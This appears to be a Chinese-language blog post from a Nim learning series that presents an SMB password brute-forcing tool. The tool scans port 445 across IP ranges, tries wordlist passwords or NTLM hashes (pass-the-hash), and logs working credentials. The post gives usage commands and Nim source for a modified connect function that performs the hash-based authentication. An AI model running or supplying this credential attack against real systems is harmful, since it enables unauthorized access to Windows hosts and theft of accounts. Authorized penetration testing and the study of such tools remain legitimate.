SMB密碼爆破(nim學習系列)
關鍵字:windows smb密碼爆破;445端口;弱口令掃描; ntlmhash爆破;
使用方法
- 支持明文密碼爆破
- 支持ntlmhash爆破
- 通過命令行或者文件導入目標IP地址
- 先掃描目標IP 445端口,如果開放再進行密碼爆破
- 輸出爆破過程,成功密碼保持到 smblogin.log
IP地址的輸入支持單個IP和CIDR。
賬號密碼的輸入支持兩種格式。
第一種,user.txt(存放用戶名) 和 pass.txt(存放密碼)。
第二種, userpass.txt(一行一對賬號密碼,用空格間隔,比如:administrator 123456)。
如果以上文件同時存在,優先選擇第二種。
舉例
明文密碼爆破
smblogin.exe plain 192.168.1.0/24
smblogin.exe plain ip.txt
ntlmhash爆破
smblogin.exe hash 10.10.0.0/23
截圖
源代碼 sublogin.nim
源代碼:
已經編譯好的exe:
主要使用到 SMBExec 模塊,可通過 nimble install SMBExec 進行安裝。
但是如果直接調用原版自帶的 connect 函數(SMBExec.nim文件中)進行超過一次的登陸嘗試,會提示“遠程主機強迫關閉了一個現有的連接”錯誤。最后我復制 connect 函數,並重命名為 connectTest ,修改后的代碼如下:
#[
Author: StudyCat
Blog: https://www.cnblogs.com/studycat
Github: https://github.com/StudyCat404/myNimExamples
License: BSD 3-Clause
]#
proc connectTest*(smb: SMB2): bool =
var
recvClient: seq[string]
response: string
#### new line
messageID = 1
session_ID = @[0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte,0x00.byte]
#### new line
## Connect
smb.socket.connect(smb.target, 445.Port)
## SMBv1 Init negotiate
smb.socket.send(getSMBv1NegoPacket())
recvClient = smb.socket.recvPacket(1024, 100)
## Check Dialect
#printC(Info, "Dialect: " & checkDialect recvClient)
## Check Signing
signing = checkSigning recvClient
#if signing:
# printC Info, "Signing Enabled"
#else:
# printC Info, "Signing Disabled"
## SMBv2 negotiate
smb.socket.send(getSMBv2NegoPacket())
recvClient = smb.socket.recvPacket(1024, 100)
## SMBv2NTLM negotiate
smb.socket.send(getSMBv2NTLMNego(signing))
response = smb.socket.recvPacketForNTLM(1024, 100)
## Pass the hash
let authPacket = getSMBv2NTLMAuth(getSMBv2NTLMSSP(response, smb.hash, smb.domain, smb.user, signing))
smb.socket.send(authPacket)
recvClient = smb.socket.recvPacket(1024, 100)
if checkAuth recvClient:
#printC Success, "Successfully logged on!"
stage = TreeConnect
return true
else:
#printC Error, "Login failed"
stage = Exit
return false
#result = recvClient
向 k8gege學習 http://k8gege.org/Ladon/SmbScan.html